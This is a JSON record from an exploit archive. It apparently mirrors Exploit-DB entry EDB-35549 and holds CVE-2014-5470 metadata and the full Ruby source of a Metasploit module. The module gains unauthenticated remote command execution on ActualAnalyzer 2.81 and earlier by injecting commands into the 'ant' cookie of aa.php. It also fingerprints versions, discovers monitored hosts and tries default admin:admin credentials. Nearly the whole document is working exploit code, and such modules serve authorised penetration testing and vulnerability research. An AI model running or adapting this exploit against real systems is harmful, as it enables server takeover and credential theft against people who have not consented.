{"exploit":{"id":"EDB-35549","name":"ActualAnalyzer - 'ant' Cookie Command Execution (Metasploit)","description":"ActualAnalyzer - 'ant' Cookie Command Execution (Metasploit)","cves":["CVE-2014-5470"],"author":"Metasploit","published":"2014-12-16","platform":"unix","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35549","path":"exploits/unix/remote/35549.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35549.rb","vulnerabilities":[{"id":"CVE-2014-5470","state":"PUBLISHED","title":null,"titleSource":null,"description":"Actual Analyzer through 2014-08-29 allows code execution via shell metacharacters because untrusted input is used for part of the input data passed to an eval operation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5470","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5470"},"updatedAt":"2024-08-06T11:48:49.046Z","retrievedAt":"2026-11-26T20:07:40.375Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35549.png?v=2","url":"https://exploitbin.com/exploits/EDB-35549","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35549/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35549/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(update_info(\n      info,\n      'Name'            => \"ActualAnalyzer 'ant' Cookie Command Execution\",\n      'Description'     => %q{\n        This module exploits a command execution vulnerability in\n        ActualAnalyzer version 2.81 and prior.\n\n        The 'aa.php' file allows unauthenticated users to\n        execute arbitrary commands in the 'ant' cookie.\n      },\n      'License'         => MSF_LICENSE,\n      'Author'          =>\n        [\n          'Benjamin Harris', # Discovery and exploit\n          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit\n        ],\n      'References'      =>\n        [\n          ['EDB', '34450'],\n          ['OSVDB', '110601']\n        ],\n      'Payload'         =>\n        {\n          'Space'       => 4096, # HTTP cookie\n          'DisableNops' => true,\n          'BadChars'    => \"\\x00\"\n        },\n      'Arch'            => ARCH_CMD,\n      'Platform'        => 'unix',\n      'Targets'         =>\n        [\n          # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu\n          ['ActualAnalyzer <= 2.81', { 'auto' => true }]\n        ],\n      'Privileged'      => false,\n      'DisclosureDate'  => 'Aug 28 2014',\n      'DefaultTarget'   => 0))\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),\n        OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),\n        OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),\n        OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])\n      ], self.class)\n  end\n\n  #\n  # Checks if target is running ActualAnalyzer <= 2.81\n  #\n  def check\n    # check for aa.php\n    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))\n    if !res\n      vprint_error(\"#{peer} - Connection failed\")\n      return Exploit::CheckCode::Unknown\n    elsif res.code == 404\n      vprint_error(\"#{peer} - Could not find aa.php\")\n      return Exploit::CheckCode::Safe\n    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\\/title>/\n      vprint_error(\"#{peer} - ActualAnalyzer is not installed. Try installing first.\")\n      return Exploit::CheckCode::Detected\n    end\n    # check version\n    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))\n    if !res\n      vprint_error(\"#{peer} - Connection failed\")\n      return Exploit::CheckCode::Unknown\n    elsif res.code == 200 && /title=\"ActualAnalyzer Lite \\(free\\) (?<version>[\\d\\.]+)\"/ =~ res.body\n      vprint_status(\"#{peer} - Found version: #{version}\")\n      if Gem::Version.new(version) <= Gem::Version.new('2.81')\n        report_vuln(\n          host: rhost,\n          name: self.name,\n          info: \"Module #{fullname} detected ActualAnalyzer #{version}\",\n          refs: references,\n        )\n        return Exploit::CheckCode::Vulnerable\n      end\n      return Exploit::CheckCode::Detected\n    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/\n      return Exploit::CheckCode::Detected\n    end\n    Exploit::CheckCode::Safe\n  end\n\n  #\n  # Try to retrieve a valid analytics host from view.php unauthenticated\n  #\n  def get_analytics_host_view\n    analytics_host = nil\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'view.php'),\n      'vars_post' => {\n        'id_h' => '',\n        'listp' => '',\n        'act_h' => 'vis_int',\n        'oldact' => 'vis_grpg',\n        'tint_h' => '',\n        'extact_h' => '',\n        'home_pos' => '',\n        'act' => 'vis_grpg',\n        'tint' => 'total',\n        'grpg' => '201',\n        'cp_vst' => 'on',\n        'cp_hst' => 'on',\n        'cp_htst' => 'on',\n        'cp_reps' => 'y',\n        'tab_sort' => '1_1'\n      }\n    )\n    if !res\n      vprint_error(\"#{peer} - Connection failed\")\n    elsif /<option value=\"?[\\d]+\"?[^>]*>Page: https?:\\/\\/(?<analytics_host>[^\\/^<]+)/ =~ res.body\n      vprint_good(\"#{peer} - Found analytics host: #{analytics_host}\")\n      return analytics_host\n    else\n      vprint_status(\"#{peer} - Could not find any hosts on view.php\")\n    end\n    nil\n  end\n\n  #\n  # Try to retrieve a valid analytics host from code.php unauthenticated\n  #\n  def get_analytics_host_code\n    analytics_host = nil\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'code.php'),\n      'vars_get' => {\n        'pid' => '1'\n      }\n    )\n    if !res\n      vprint_error(\"#{peer} - Connection failed\")\n    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\\/\\/(?<analytics_host>[^\\/^']+)/ =~ res.body\n      vprint_good(\"#{peer} - Found analytics host: #{analytics_host}\")\n      return analytics_host\n    else\n      vprint_status(\"#{peer} - Could not find any hosts on code.php\")\n    end\n    nil\n  end\n\n  #\n  # Try to retrieve a valid analytics host from admin.php with creds\n  #\n  def get_analytics_host_admin\n    analytics_host = nil\n    user = datastore['USERNAME']\n    pass = datastore['PASSWORD']\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin.php'),\n      'vars_post' => {\n        'uname' => user,\n        'passw' => pass,\n        'id_h' => '',\n        'listp' => '',\n        'act_h' => '',\n        'oldact' => 'pages',\n        'tint_h' => '',\n        'extact_h' => '',\n        'param_h' => '',\n        'param2_h' => '',\n        'home_pos' => '',\n        'act' => 'dynhtml',\n        'set.x' => '11',\n        'set.y' => '11'\n      }\n    )\n    if !res\n      vprint_error(\"#{peer} - Connection failed\")\n    elsif res.code == 200 && res.body =~ />Login</\n      vprint_status(\"#{peer} - Login failed.\")\n    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\\/\\/(?<analytics_host>[^\\/^']+)/ =~ res.body\n      vprint_good(\"#{peer} - Found analytics host: #{analytics_host}\")\n      print_good(\"#{peer} - Login successful! (#{user}:#{pass})\")\n      service_data = {\n        address: Rex::Socket.getaddress(rhost, true),\n        port: rport,\n        service_name: (ssl ? 'https' : 'http'),\n        protocol: 'tcp',\n        workspace_id: myworkspace_id\n      }\n      credential_data = {\n        origin_type: :service,\n        module_fullname: fullname,\n        private_type: :password,\n        private_data: pass,\n        username: user\n      }\n      credential_data.merge!(service_data)\n      credential_core = create_credential(credential_data)\n      login_data = {\n        core: credential_core,\n        last_attempted_at: DateTime.now,\n        status: Metasploit::Model::Login::Status::SUCCESSFUL\n      }\n      login_data.merge!(service_data)\n      create_credential_login(login_data)\n      return analytics_host\n    else\n      vprint_status(\"#{peer} - Could not find any hosts on admin.php\")\n    end\n    nil\n  end\n\n  def execute_command(cmd, opts = { analytics_host: vhost })\n    vuln_cookies = %w(anw anm)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'aa.php'),\n      'vars_get' => { 'anp' => opts[:analytics_host] },\n      'cookie' => \"ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`\"\n    )\n    if !res\n      fail_with(Failure::TimeoutExpired, \"#{peer} - Connection timed out\")\n    elsif res.code == 302 && res.headers['Content-Type'] =~ /image/\n      print_good(\"#{peer} - Payload sent successfully\")\n      return true\n    elsif res.code == 302 && res.headers['Location'] =~ /error\\.gif/\n      vprint_status(\"#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.\")\n    elsif res.code == 200 && res.body =~ /Admin area<\\/title>/\n      fail_with(Failure::Unknown, \"#{peer} - ActualAnalyzer is not installed. Try installing first.\")\n    else\n      fail_with(Failure::Unknown, \"#{peer} - Something went wrong\")\n    end\n    nil\n  end\n\n  def exploit\n    return unless check == Exploit::CheckCode::Vulnerable\n    analytics_hosts = []\n    if datastore['ANALYZER_HOST'].blank?\n      analytics_hosts << get_analytics_host_code\n      analytics_hosts << get_analytics_host_view\n      analytics_hosts << get_analytics_host_admin\n      analytics_hosts << vhost\n      analytics_hosts << '127.0.0.1'\n      analytics_hosts << 'localhost'\n    else\n      analytics_hosts << datastore['ANALYZER_HOST']\n    end\n    analytics_hosts.uniq.each do |host|\n      next if host.nil?\n      vprint_status(\"#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...\")\n      break if execute_command(payload.encoded, analytics_host: host)\n    end\n  end\nend","sha256":"6bde1389617484e317ea1b551698930fd7f3bbddc7d0cb4d39ed8c15dabea66a","bytes":8798,"fetchedAt":"2026-11-26T20:07:39.865Z","encoding":"utf-8 (display only; download retains original bytes)"}